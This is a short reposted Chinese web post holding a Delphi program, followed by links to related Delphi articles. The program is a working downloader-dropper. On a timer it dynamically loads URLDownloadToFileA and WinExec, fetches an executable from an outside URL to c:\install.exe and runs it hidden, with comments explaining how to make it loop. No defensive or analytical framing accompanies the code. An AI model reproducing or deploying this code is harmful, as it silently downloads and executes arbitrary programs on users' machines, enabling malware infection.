本文整理自网络,侵删。
program downs;
uses
Windows;
procedure TimerProc(hwnd:HWND;uMsg,idEvent:UINT;dwTime:DWORD); stdcall;
var
URLDown:function(Caller: IUnknown; URL: PChar; FileName: PChar; Reserved: DWORD; StatusCB:pointer): LongWord; stdcall;
WinExecA:function(lpCmdLine: LPCSTR; uCmdShow: LongWord): LongWord; stdcall;
begin
@UrlDown:=GetProcAddress(LoadLibrary('URLMON.DLL'),'URLDownloadToFileA');
@WinExecA:=GetProcAddress(LoadLibrary('kernel32.dll'),'WinExec');
//下载地址 //下载后存放的路径
if UrlDown(nil, 'http://www.xfocusx.com/calcs.exe', 'c:\install.exe', 0, nil)=0 then //下载... =0 完成后运行
WinExecA('c:\install.exe', 0); //运行
Halt; //下完后退出程序,去掉就是循环地下,可以设时间长一点
Exit;
end;
var
Msg: TMsg;
begin
SetTimer(0, 10, 1000, @TimerProc);//安装定时器
while (GetMessage(msg, 0, 0, 0)) do
begin
TranslateMessage(msg);
DispatchMessage(msg);
end;
end. 相关阅读 >>
Delphi让tedit控件的内容居中或右对齐,限制位数,仅允许输入数字
Delphi使用idhttp.get('') 造成假死(堵塞),请问线程idhttp怎么才能做到不出错?
Delphi datasettojson jsontodataset
更多相关阅读请进入《Delphi》频道 >>